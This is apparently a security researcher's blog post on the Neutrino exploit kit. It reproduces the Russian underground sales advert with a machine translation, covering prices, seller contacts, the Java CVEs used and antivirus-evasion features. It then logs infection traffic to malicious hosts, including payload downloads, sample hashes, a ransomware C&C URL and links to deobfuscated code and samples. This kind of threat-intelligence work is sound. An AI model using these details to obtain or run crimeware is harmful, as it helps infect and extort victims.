A new exploit kit is being advertised since yesterday on underground forum : Neutrino.
Nice, it's not "Cool OrangeHole Kit"
 |
| "snip shot" of the advert |
Text of the Advert :
******************************************
Neutrino - связка эксплоитов
Друзья, предлагаем Вашему вниманию наш новый продукт, связка эксплоитов Neutrino.
Хотел бы перейти сразу к описанию и остановиться более детально на некоторых особенностях.
Удобная панель управления:
Управление потоками
Информация о всех потоках, удобно сгруппирована в виде таблицы, что позволяет вместить на экран, как можно больше важной информации разом.
Так же имеется возможность получить более детальную информацию о конкретном потоке. Которая позволит судить, о качестве трафика, и прочих параметрах.
Имеются средства поиска, сортировки потоков по различным полям.
Управление персональным и коллективным ротатором
В нашем продукте реализовано два типа ротаторов доменов: персональный и коллективный.
Коллективный ротатор позволяет не заботиться о доменах и IP, за Вас это делаем мы. От Вас требуется, только активировать коллективный ротатор и это в принципе все. Коллективный ротатор отслеживает несколько параметров, по которым происходит смена домена. Данными параметрами являются: пороговое число AV палящих домен и интервал (в часах).
Если Вы хотите использовать свои домены и frontend IP, Вы можете воспользоваться персональным ротатором. Так же, в персональном ротаторе, Вы сами сможете регулировать оговоренные выше параметры (пороговое значение палящих домен AV и интервал авто смены по времени). Имеются довольно подробные отчеты о смене доменов в персональном ротаторе.
Проверка доменов, frontend IP проводится непрерывно. Отчеты, о состоянии доменов и frontend IP вы можете видеть прям в панели управления ротаторами.
Разнообразные AV отчеты
Как говорилось ранее, мы реализовали непрерывную проверку на AV, всех критически важных звеньев нашей системы. AV статус каждого элемента системы представлен в данном разделе. Что позволяет своевременно реагировать на возникшую «проблему».
Продуманная выдача:
Мы ознакомились с тем, как устроена выдача в различных подобных проектах, рассмотрели всевозможные причины, почему в том или ином проекте выдача организованна так или иначе. В данном посте я бы не хотел останавливаться на плюсах или минусах реализации в сторонних продуктах, а пожалуй обозначу некоторые особенности нашей реализации.
Выдача происходит в несколько этапов:
Приземление трафика и первичная фильтрация.
Сбор информации о браузере, по средством plugin detector'а.
Отправка информации о целевой системе на сервер в зашифрованном виде.
Пост фильтрация.
Подбор подходящего эксплоита.
Выдача support кода эксплоита.
Выдача кода эксплоита
Выдача полезной нагрузки.
Конечно же, это только основные моменты которые мы можем озвучить, а остальное, я думаю лучше будет оставить за кадром. Т.к. Мы так же, как и Вы хотим, что бы наши эксплоиты были чистыми, как можно дольше и Ваши exe палились как можно реже.
К стати к вопросу об Ваших exe, от сервера до клиента Ваши exe перемещаются в шифрованном виде, существенно уменьшая вероятность палива, но к сожалению не исключая ее полностью.
«Любителям» plugin detector'а: в данный момент, мы решили остановиться именно на этом решении, т. к. считаем его наиболее адекватным из всех имеющихся. Конечно же мы рады будем услышать иные точки зрения, мы всегда открыты к конструктивному диалогу.
Хайлоад
Да, данный продукт заточен под хайлоад, держим большие потоки.
Эксплоиты
В данный момент в связке используются два эксплоита и оба под java.
cve-2012-1723 и cve-2013-0431
На подходе еще несколько, не затрагивающие java.
Пробив
Данный показатель, слишком сильно зависит от трафика, по этому выводы Вы можете сделать сами, протестировав наш продукт, на разных типах трафика.
Отстук
Была проведена серия тестов, с использованием примитивной http стучалки, тесты показали отстук на уровне 86%. Хотелось бы заметить, что данный показатель, так же может варьироваться, в зависимости от различных факторов.
Цены
На данном этапе мы предлагаем, только аренду на наших серверах.
Аренда на общем сервере с общими чистками:
День — 40$
Неделя — 150$
Месяц — 450$
По вопросам аренды на персональном сервере (сервере конкретно под Вас) и с персональными чистками писать в жабу.
Контакты
Jabber: service2u@jabber.cz
ICQ: 637384767
-----------------------------
Пример статы, отгружал клиент: http://www.sendspace.com/file/
******************************************
Translated by google as :
******************************************
Neutrino - a bunch of exploits
Friends, we offer you our new product, a bunch of exploits Neutrino.
I would like to go directly to the description and to stay in more detail some of the features.
User friendly control panel:
Flow Control
Information on all flows are grouped in a table that allows to fit on the screen as much as possible the important information at once.
It is also possible to obtain more detailed information on a particular stream. Which will allow to judge the quality of traffic, and other parameters.
There are tools to search, sort streams by various fields.
Managing personal and collective rotator
Our product provides two types of rotator domains: personal and collective.
Collective rotator allows you to not worry about domains and IP, for you we do. All you have to just activate collective rotator and it's basically all. Collective rotator tracks several parameters, which is a change of the domain. These parameters are: the threshold number of AV scorching domain and the interval (in hours).
If you want to use your domain and frontend IP, you can use personal rotator. Just on a personal rotator, you will be able to adjust the parameters specified above (threshold scorching domain AV interval and auto change over time). There are quite detailed reports on changes in the personal domain rotator.
Domain Checker, frontend IP is carried out continuously. Reports on the status of domain names and frontend IP you can see right in the control panel rotators.
A variety of AV reports
As mentioned earlier, we have implemented a continuous check on AV, all critical parts of our system. AV status of each element of the system is presented in this section. That allows to respond to the evolving "problem."
Sophisticated issue:
We are familiar with the way the issue is arranged in a variety of similar projects, discussed all sorts of reasons why this or that project delivery is organized anyway. In this post, I would not like to dwell on the pros and cons of implementing a third-party products, and perhaps identify some features of our implementation.
Are issued in several phases:
Landing traffic and primary filtration.
Gathering information about the browser by means of plugin detector'a.
Sending information about the target system to the server is encrypted.
Post filtering.
Selection of the appropriate exploit.
Issuance support exploit code.
Issuance of exploit code
Issuance of payload.
Of course, this only highlights that we can announce, and the rest, I think it would be better to leave behind the scenes. Because We also, as you wish that our exploits were clean, as long as possible and your exe palilis as little as possible.
By the way to the question of your exe, from the server to your client exe transferred in encrypted form, significantly reducing the chance palivo, but unfortunately not eliminating it completely.
"Lovers» plugin detector'a: at the moment, we decided for this solution, because we consider it the most appropriate of all available. Of course we will be glad to hear other points of view, we are always open to constructive dialogue.
Hayload
Yes, this product is ground under hayload, hold large flows.
Exploits
At the moment, there are two in tandem, and exploit both under java.
cve-2012-1723 and cve-2013-0431
On the way some more, do not touch java.
Breaking through
This indicator, too dependent on the traffic on the conclusions you can make yourself by testing our product in different types of traffic.
Otstuk
A series of tests, using primitive http stuchalki, tests have shown otstuk at 86%. I would like to note that this indicator can also vary, depending on various factors.
Prices
At this stage, we offer only the rent on our servers.
Rent on a shared server with general cleaning:
Day - $ 40
Week - $ 150
Month - $ 450
To rent on a personal server (specifically for you) and with personal cleansing write a toad.
Contacts
Jabber: service2u@jabber.cz
ICQ: 637384767
-----------------------------
Examples of articles, shipped client: http://www.sendspace.com/file/zzhl20
******************************************
Image of the Advert :
 |
| Screenshot provided in the advert by the seller. |
Was fast to spot it wild... a little more difficult to be sure it was indeed Neutrino
Let's fast fly (2 cve) over it :
Obfuscated Landing (same service as Cool EK right now it seems) :
.png)
Deobfuscated here :
http://pastebin.com/SaKfZGTv
CVE-2013-0431 (with serialization in the Jar) :
.png) |
| CVE-2013-0431 positive Path |
200 OK (text/html)
GET http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)
GET http://like.babylx .info/scripts/js/plugin_detector.js
200 OK (application/x-javascript)
 |
| Fresh PluginDetect |
200 OK (text/html)
.png) |
| cs67kcnk - JHelper.dat is the serialization to bypass Security in Jre17u11 |
200 OK (application/java-archive) b2b26a68506f5429938204f9f601b991
.png) |
| CVE-2013-0431 in Neutrino |
200 OK (text/html)
GET http://like.babylx .info/java/lang/ObjectBeanInfo.class
200 OK (text/html)
GET http://like.babylx .info/java/lang/ObjectCustomizer.class
200 OK (text/html)
GET http://like.babylx .info/java/lang/ClassCustomizer.class
200 OK (text/html)
GET http://like.babylx .info/pbkmm?hvxgh=5137bbdbaaa2cc5a69000265
200 OK (application/octet-stream)--> Decoded : 52d267e568fa47a2783e50281e9e7fe3 which is an Urausy Variant (C&C call : http://assoftoday .com/forum/ko-ryfa-yd[..]pi-dawk-xuc[..]wtjkol-xe[..]ixfqztrpsldtmnuj-aslu-[..]xkdj.php - 88.80.196.2 )
CVE-2012-1723 :
.png) |
| CVE-2012-1723 successfull path in Neutrino |
GET http://like.babylx .info/ljemkkvoxdon?fmmmevrdt=8866005
200 OK (text/html)
GET http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)
GET http://like.babylx .info/scripts/js/plugin_detector.js
200 OK (application/x-javascript)
POST http://like.babylx .info/cet159p
200 OK (text/html)
.png) |
| cet159p |
GET http://like.babylx .info/ewgkhclytbjscf?hkmjddetibir=5137cc86aaa2cce57a000009
200 OK (application/java-archive) a14649f7113cd1ec56dfb6b51058ad10
.png) |
| CVE-2012-1723 in Neutrino связка |
GET http://like.babylx .info/pdvsktqpfxr?hwlqhfsle=5137cc86aaa2cce57a000009
200 OK (application/octet-stream)
Files :
Neutrino_2013-03-07.zip (OwnCloud via Goo.gl)
Readings :
Off Topic : Can a Neutrino pass through a Black hole ? "No, a neutrino cannot pass through a black hole."
(Sure we could find some with Nuclear reaction too :) )